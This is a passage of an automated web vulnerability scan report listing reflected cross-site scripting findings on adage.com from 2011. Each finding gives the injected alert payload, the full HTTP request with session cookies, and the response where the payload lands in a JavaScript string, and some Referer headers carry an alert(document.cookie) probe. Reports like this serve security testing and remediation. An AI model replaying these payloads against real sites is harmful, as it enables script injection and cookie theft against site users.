<html lang="en" xmlns:og="http://opengraphprotocol.org/schema/">

<head profile="http://a9.com/-/spec/opensearch/1.1/">

<title>Oops! - Advertising Age</title>

<meta name="robots" co
...[SNIP]...
pc="HBX0100u";hbx.gn="ehg-crain.hitbox.com";

//CONFIGURATION VARIABLES
hbx.acct    = "DM530303F9CM83EN3";
hbx.pn        = "404.php?1300112440";//THIS IS THE UNIQUE PAGE IDENTIFIER
hbx.mlc    = "adage.com/images728a9"-alert(1)-"3355d23634b/bin/image/rightrail/mobile-mktg-wp-255-031411.jpg"; //THIS IS THE UNIQUE PAGE LOCATION IDENTIFIER
hbx.pndef    = "title";
hbx.ctdef    = "full";

//OPTIONAL PAGE VARIABLES
//ACTION SETTINGS
hbx.fv="";
hbx.
...[SNIP]...

1.20. http://adage.com/images/bin/image/rightrail/mobile-mktg-wp-255-031411.jpg [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adage.com
Path:   /images/bin/image/rightrail/mobile-mktg-wp-255-031411.jpg

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b2263"-alert(1)-"44ea6c0dd7a was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /images/binb2263"-alert(1)-"44ea6c0dd7a/image/rightrail/mobile-mktg-wp-255-031411.jpg?1300112440 HTTP/1.1
Host: adage.com
Proxy-Connection: keep-alive
Referer: http://adage.com/power15028d92%22-alert(document.cookie)-%22466ac374886/badge-generate.php?id=619
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ADAGESESS=1a895497ace912c41e8e38adcbe091da; HMAC=B48A1BF9C411063A0CEB810FF7161FAD234D2012

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 19:51:23 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: HMAC=CACC14D425DA6BE49BA59AA731C343F4BF0AF04C; path=/
Set-Cookie: HMAC=937C6743656E257C99474D3CCCBB59121908290D; path=/
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 33985

<!DOCTYPE html>

<html lang="en" xmlns:og="http://opengraphprotocol.org/schema/">

<head profile="http://a9.com/-/spec/opensearch/1.1/">

<title>Oops! - Advertising Age</title>

<meta name="robots" co
...[SNIP]...
HBX0100u";hbx.gn="ehg-crain.hitbox.com";

//CONFIGURATION VARIABLES
hbx.acct    = "DM530303F9CM83EN3";
hbx.pn        = "404.php?1300112440";//THIS IS THE UNIQUE PAGE IDENTIFIER
hbx.mlc    = "adage.com/images/binb2263"-alert(1)-"44ea6c0dd7a/image/rightrail/mobile-mktg-wp-255-031411.jpg"; //THIS IS THE UNIQUE PAGE LOCATION IDENTIFIER
hbx.pndef    = "title";
hbx.ctdef    = "full";

//OPTIONAL PAGE VARIABLES
//ACTION SETTINGS
hbx.fv="";
hbx.lt="
...[SNIP]...

1.21. http://adage.com/images/bin/image/rightrail/mobile-mktg-wp-255-031411.jpg [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adage.com
Path:   /images/bin/image/rightrail/mobile-mktg-wp-255-031411.jpg

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload fbebd"-alert(1)-"e7df204a24 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /images/bin/imagefbebd"-alert(1)-"e7df204a24/rightrail/mobile-mktg-wp-255-031411.jpg?1300112440 HTTP/1.1
Host: adage.com
Proxy-Connection: keep-alive
Referer: http://adage.com/power15028d92%22-alert(document.cookie)-%22466ac374886/badge-generate.php?id=619
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ADAGESESS=1a895497ace912c41e8e38adcbe091da; HMAC=B48A1BF9C411063A0CEB810FF7161FAD234D2012

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 19:51:40 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: HMAC=209BC71FA40A4C027E7CEDED147B96443390E406; path=/
Set-Cookie: HMAC=E8D61F91D838B33D3DCC5B44C6DB2F7C52F27388; path=/
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 33984

<!DOCTYPE html>

<html lang="en" xmlns:og="http://opengraphprotocol.org/schema/">

<head profile="http://a9.com/-/spec/opensearch/1.1/">

<title>Oops! - Advertising Age</title>

<meta name="robots" co
...[SNIP]...
0u";hbx.gn="ehg-crain.hitbox.com";

//CONFIGURATION VARIABLES
hbx.acct    = "DM530303F9CM83EN3";
hbx.pn        = "404.php?1300112440";//THIS IS THE UNIQUE PAGE IDENTIFIER
hbx.mlc    = "adage.com/images/bin/imagefbebd"-alert(1)-"e7df204a24/rightrail/mobile-mktg-wp-255-031411.jpg"; //THIS IS THE UNIQUE PAGE LOCATION IDENTIFIER
hbx.pndef    = "title";
hbx.ctdef    = "full";

//OPTIONAL PAGE VARIABLES
//ACTION SETTINGS
hbx.fv="";
hbx.lt="none";
...[SNIP]...

1.22. http://adage.com/images/bin/image/rightrail/mobile-mktg-wp-255-031411.jpg [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adage.com
Path:   /images/bin/image/rightrail/mobile-mktg-wp-255-031411.jpg

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload dc0d3"-alert(1)-"0e0290166d7 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /images/bin/image/rightraildc0d3"-alert(1)-"0e0290166d7/mobile-mktg-wp-255-031411.jpg?1300112440 HTTP/1.1
Host: adage.com
Proxy-Connection: keep-alive
Referer: http://adage.com/power15028d92%22-alert(document.cookie)-%22466ac374886/badge-generate.php?id=619
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ADAGESESS=1a895497ace912c41e8e38adcbe091da; HMAC=B48A1BF9C411063A0CEB810FF7161FAD234D2012

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 19:51:52 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: HMAC=9FC19734C877FA74A6D7DE40D099334AF7FD84DC; path=/
Set-Cookie: HMAC=CB741CA92AB8C567E0AA328FFD562C7187FD5066; path=/
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 33985

<!DOCTYPE html>

<html lang="en" xmlns:og="http://opengraphprotocol.org/schema/">

<head profile="http://a9.com/-/spec/opensearch/1.1/">

<title>Oops! - Advertising Age</title>

<meta name="robots" co
...[SNIP]...
="ehg-crain.hitbox.com";

//CONFIGURATION VARIABLES
hbx.acct    = "DM530303F9CM83EN3";
hbx.pn        = "404.php?1300112440";//THIS IS THE UNIQUE PAGE IDENTIFIER
hbx.mlc    = "adage.com/images/bin/image/rightraildc0d3"-alert(1)-"0e0290166d7/mobile-mktg-wp-255-031411.jpg"; //THIS IS THE UNIQUE PAGE LOCATION IDENTIFIER
hbx.pndef    = "title";
hbx.ctdef    = "full";

//OPTIONAL PAGE VARIABLES
//ACTION SETTINGS
hbx.fv="";
hbx.lt="none";
hbx.dlf="
...[SNIP]...

1.23. http://adage.com/images/bin/image/rightrail/mobile-mktg-wp-255-031411.jpg [REST URL parameter 5]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adage.com
Path:   /images/bin/image/rightrail/mobile-mktg-wp-255-031411.jpg

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e484b"-alert(1)-"4afe6eecacb was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /images/bin/image/rightrail/mobile-mktg-wp-255-031411.jpge484b"-alert(1)-"4afe6eecacb?1300112440 HTTP/1.1
Host: adage.com
Proxy-Connection: keep-alive
Referer: http://adage.com/power15028d92%22-alert(document.cookie)-%22466ac374886/badge-generate.php?id=619
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ADAGESESS=1a895497ace912c41e8e38adcbe091da; HMAC=B48A1BF9C411063A0CEB810FF7161FAD234D2012

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 19:52:03 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: HMAC=D82D4676DD06406D973464171388FD901C2849AD; path=/
Set-Cookie: HMAC=4E9E8B98022B2856146DB785B1A1B4BF53F76C8E; path=/
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 33985

<!DOCTYPE html>

<html lang="en" xmlns:og="http://opengraphprotocol.org/schema/">

<head profile="http://a9.com/-/spec/opensearch/1.1/">

<title>Oops! - Advertising Age</title>

<meta name="robots" co
...[SNIP]...
NFIGURATION VARIABLES
hbx.acct    = "DM530303F9CM83EN3";
hbx.pn        = "404.php?1300112440";//THIS IS THE UNIQUE PAGE IDENTIFIER
hbx.mlc    = "adage.com/images/bin/image/rightrail/mobile-mktg-wp-255-031411.jpge484b"-alert(1)-"4afe6eecacb"; //THIS IS THE UNIQUE PAGE LOCATION IDENTIFIER
hbx.pndef    = "title";
hbx.ctdef    = "full";

//OPTIONAL PAGE VARIABLES
//ACTION SETTINGS
hbx.fv="";
hbx.lt="none";
hbx.dlf="!.cms,.js";
hbx.dft="y";
hbx.e
...[SNIP]...

1.24. http://adage.com/images/bottom/menus/4as_conference.jpg [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adage.com
Path:   /images/bottom/menus/4as_conference.jpg

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b6003"-alert(1)-"0dcd48bae8a was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /imagesb6003"-alert(1)-"0dcd48bae8a/bottom/menus/4as_conference.jpg?1299707091 HTTP/1.1
Host: adage.com
Proxy-Connection: keep-alive
Referer: http://adage.com/power15028d92%22-alert(document.cookie)-%22466ac374886/badge-generate.php?id=619
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ADAGESESS=1a895497ace912c41e8e38adcbe091da; HMAC=B48A1BF9C411063A0CEB810FF7161FAD234D2012

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 19:50:52 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: HMAC=F1FCB190C59713C14E5CA81C8943047558E36784; path=/
Set-Cookie: HMAC=847F6623DC37C99EB4E31FCF01A70BCBC34F2449; path=/
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 33853

<!DOCTYPE html>

<html lang="en" xmlns:og="http://opengraphprotocol.org/schema/">

<head profile="http://a9.com/-/spec/opensearch/1.1/">

<title>Oops! - Advertising Age</title>

<meta name="robots" co
...[SNIP]...
pc="HBX0100u";hbx.gn="ehg-crain.hitbox.com";

//CONFIGURATION VARIABLES
hbx.acct    = "DM530303F9CM83EN3";
hbx.pn        = "404.php?1299707091";//THIS IS THE UNIQUE PAGE IDENTIFIER
hbx.mlc    = "adage.com/imagesb6003"-alert(1)-"0dcd48bae8a/bottom/menus/4as_conference.jpg"; //THIS IS THE UNIQUE PAGE LOCATION IDENTIFIER
hbx.pndef    = "title";
hbx.ctdef    = "full";

//OPTIONAL PAGE VARIABLES
//ACTION SETTINGS
hbx.fv="";
hbx.lt="none";
hbx.dlf
...[SNIP]...

1.25. http://adage.com/images/bottom/menus/4as_conference.jpg [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adage.com
Path:   /images/bottom/menus/4as_conference.jpg

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 52e49"-alert(1)-"981287eb46a was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /images/bottom52e49"-alert(1)-"981287eb46a/menus/4as_conference.jpg?1299707091 HTTP/1.1
Host: adage.com
Proxy-Connection: keep-alive
Referer: http://adage.com/power15028d92%22-alert(document.cookie)-%22466ac374886/badge-generate.php?id=619
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ADAGESESS=1a895497ace912c41e8e38adcbe091da; HMAC=B48A1BF9C411063A0CEB810FF7161FAD234D2012

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 19:51:14 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: HMAC=903824177DA309221401A1D3497DB13232B5295D; path=/
Set-Cookie: HMAC=3C72E312565259D1E702FB750A277A699B8D5014; path=/
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 33967

<!DOCTYPE html>

<html lang="en" xmlns:og="http://opengraphprotocol.org/schema/">

<head profile="http://a9.com/-/spec/opensearch/1.1/">

<title>Oops! - Advertising Age</title>

<meta name="robots" co
...[SNIP]...
0100u";hbx.gn="ehg-crain.hitbox.com";

//CONFIGURATION VARIABLES
hbx.acct    = "DM530303F9CM83EN3";
hbx.pn        = "404.php?1299707091";//THIS IS THE UNIQUE PAGE IDENTIFIER
hbx.mlc    = "adage.com/images/bottom52e49"-alert(1)-"981287eb46a/menus/4as_conference.jpg"; //THIS IS THE UNIQUE PAGE LOCATION IDENTIFIER
hbx.pndef    = "title";
hbx.ctdef    = "full";

//OPTIONAL PAGE VARIABLES
//ACTION SETTINGS
hbx.fv="";
hbx.lt="none";
hbx.dlf="!.cms
...[SNIP]...

1.26. http://adage.com/images/bottom/menus/4as_conference.jpg [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adage.com
Path:   /images/bottom/menus/4as_conference.jpg

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d29de"-alert(1)-"9fd17409a50 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /images/bottom/menusd29de"-alert(1)-"9fd17409a50/4as_conference.jpg?1299707091 HTTP/1.1
Host: adage.com
Proxy-Connection: keep-alive
Referer: http://adage.com/power15028d92%22-alert(document.cookie)-%22466ac374886/badge-generate.php?id=619
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ADAGESESS=1a895497ace912c41e8e38adcbe091da; HMAC=B48A1BF9C411063A0CEB810FF7161FAD234D2012

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 19:51:31 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: HMAC=4456BB4AC1F4ED3CE6504C7209B791DEDAA5AB9B; path=/
Set-Cookie: HMAC=38E0361E4119D444E36A71905DD99D8CCCE305B2; path=/
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 33967

<!DOCTYPE html>

<html lang="en" xmlns:og="http://opengraphprotocol.org/schema/">

<head profile="http://a9.com/-/spec/opensearch/1.1/">

<title>Oops! - Advertising Age</title>

<meta name="robots" co
...[SNIP]...
;hbx.gn="ehg-crain.hitbox.com";

//CONFIGURATION VARIABLES
hbx.acct    = "DM530303F9CM83EN3";
hbx.pn        = "404.php?1299707091";//THIS IS THE UNIQUE PAGE IDENTIFIER
hbx.mlc    = "adage.com/images/bottom/menusd29de"-alert(1)-"9fd17409a50/4as_conference.jpg"; //THIS IS THE UNIQUE PAGE LOCATION IDENTIFIER
hbx.pndef    = "title";
hbx.ctdef    = "full";

//OPTIONAL PAGE VARIABLES
//ACTION SETTINGS
hbx.fv="";
hbx.lt="none";
hbx.dlf="!.cms,.js";
...[SNIP]...

1.27. http://adage.com/images/bottom/menus/4as_conference.jpg [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adage.com
Path:   /images/bottom/menus/4as_conference.jpg

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 636d7"-alert(1)-"c567f0452e7 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /images/bottom/menus/4as_conference.jpg636d7"-alert(1)-"c567f0452e7?1299707091 HTTP/1.1
Host: adage.com
Proxy-Connection: keep-alive
Referer: http://adage.com/power15028d92%22-alert(document.cookie)-%22466ac374886/badge-generate.php?id=619
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ADAGESESS=1a895497ace912c41e8e38adcbe091da; HMAC=B48A1BF9C411063A0CEB810FF7161FAD234D2012

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 19:51:46 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: HMAC=E9A7F43D345D452EED49264F66C20FC7B32845DA; path=/
Set-Cookie: HMAC=0F225D63C03D562E658555717A46DDE7D909BA61; path=/
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 33967

<!DOCTYPE html>

<html lang="en" xmlns:og="http://opengraphprotocol.org/schema/">

<head profile="http://a9.com/-/spec/opensearch/1.1/">

<title>Oops! - Advertising Age</title>

<meta name="robots" co
...[SNIP]...
hitbox.com";

//CONFIGURATION VARIABLES
hbx.acct    = "DM530303F9CM83EN3";
hbx.pn        = "404.php?1299707091";//THIS IS THE UNIQUE PAGE IDENTIFIER
hbx.mlc    = "adage.com/images/bottom/menus/4as_conference.jpg636d7"-alert(1)-"c567f0452e7"; //THIS IS THE UNIQUE PAGE LOCATION IDENTIFIER
hbx.pndef    = "title";
hbx.ctdef    = "full";

//OPTIONAL PAGE VARIABLES
//ACTION SETTINGS
hbx.fv="";
hbx.lt="none";
hbx.dlf="!.cms,.js";
hbx.dft="y";
hbx.e
...[SNIP]...

1.28. http://adage.com/images/bottom/menus/agency_news.png [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adage.com
Path:   /images/bottom/menus/agency_news.png

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b4ca3"-alert(1)-"3774638191f was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /imagesb4ca3"-alert(1)-"3774638191f/bottom/menus/agency_news.png?1292963511 HTTP/1.1
Host: adage.com
Proxy-Connection: keep-alive
Referer: http://adage.com/power15028d92%22-alert(document.cookie)-%22466ac374886/badge-generate.php?id=619
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ADAGESESS=1a895497ace912c41e8e38adcbe091da; HMAC=B48A1BF9C411063A0CEB810FF7161FAD234D2012

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 19:50:47 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: HMAC=94DD8D0F89B7C2B6BC4FADBB76BD146B69541B87; path=/
Set-Cookie: HMAC=6BD9CA875C41166D656439275486B5BAA89210C8; path=/
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 33850

<!DOCTYPE html>

<html lang="en" xmlns:og="http://opengraphprotocol.org/schema/">

<head profile="http://a9.com/-/spec/opensearch/1.1/">

<title>Oops! - Advertising Age</title>

<meta name="robots" co
...[SNIP]...
pc="HBX0100u";hbx.gn="ehg-crain.hitbox.com";

//CONFIGURATION VARIABLES
hbx.acct    = "DM530303F9CM83EN3";
hbx.pn        = "404.php?1292963511";//THIS IS THE UNIQUE PAGE IDENTIFIER
hbx.mlc    = "adage.com/imagesb4ca3"-alert(1)-"3774638191f/bottom/menus/agency_news.png"; //THIS IS THE UNIQUE PAGE LOCATION IDENTIFIER
hbx.pndef    = "title";
hbx.ctdef    = "full";

//OPTIONAL PAGE VARIABLES
//ACTION SETTINGS
hbx.fv="";
hbx.lt="none";
hbx.dlf="!
...[SNIP]...

1.29. http://adage.com/images/bottom/menus/agency_news.png [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adage.com
Path:   /images/bottom/menus/agency_news.png

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 4358a"-alert(1)-"e1e1d815c6e was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /images/bottom4358a"-alert(1)-"e1e1d815c6e/menus/agency_news.png?1292963511 HTTP/1.1
Host: adage.com
Proxy-Connection: keep-alive
Referer: http://adage.com/power15028d92%22-alert(document.cookie)-%22466ac374886/badge-generate.php?id=619
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ADAGESESS=1a895497ace912c41e8e38adcbe091da; HMAC=B48A1BF9C411063A0CEB810FF7161FAD234D2012

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 19:50:59 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: HMAC=E0A4A343B4AEBB9232AE3CDD607C3BA632EC0929; path=/
Set-Cookie: HMAC=437A9735078F88D24D08E1B36A709D83CA692F53; path=/
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 33850

<!DOCTYPE html>

<html lang="en" xmlns:og="http://opengraphprotocol.org/schema/">

<head profile="http://a9.com/-/spec/opensearch/1.1/">

<title>Oops! - Advertising Age</title>

<meta name="robots" co
...[SNIP]...
0100u";hbx.gn="ehg-crain.hitbox.com";

//CONFIGURATION VARIABLES
hbx.acct    = "DM530303F9CM83EN3";
hbx.pn        = "404.php?1292963511";//THIS IS THE UNIQUE PAGE IDENTIFIER
hbx.mlc    = "adage.com/images/bottom4358a"-alert(1)-"e1e1d815c6e/menus/agency_news.png"; //THIS IS THE UNIQUE PAGE LOCATION IDENTIFIER
hbx.pndef    = "title";
hbx.ctdef    = "full";

//OPTIONAL PAGE VARIABLES
//ACTION SETTINGS
hbx.fv="";
hbx.lt="none";
hbx.dlf="!.cms,.j
...[SNIP]...

1.30. http://adage.com/images/bottom/menus/agency_news.png [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adage.com
Path:   /images/bottom/menus/agency_news.png

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f0d35"-alert(1)-"dc7ba67012e was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /images/bottom/menusf0d35"-alert(1)-"dc7ba67012e/agency_news.png?1292963511 HTTP/1.1
Host: adage.com
Proxy-Connection: keep-alive
Referer: http://adage.com/power15028d92%22-alert(document.cookie)-%22466ac374886/badge-generate.php?id=619
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ADAGESESS=1a895497ace912c41e8e38adcbe091da; HMAC=B48A1BF9C411063A0CEB810FF7161FAD234D2012

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 19:51:12 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: HMAC=008DE9AEB98E994459E9936159C76D690756F400; path=/
Set-Cookie: HMAC=5248EEF141ECA51A2746FB20F2B85F9772102E7B; path=/
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 33964

<!DOCTYPE html>

<html lang="en" xmlns:og="http://opengraphprotocol.org/schema/">

<head profile="http://a9.com/-/spec/opensearch/1.1/">

<title>Oops! - Advertising Age</title>

<meta name="robots" co
...[SNIP]...
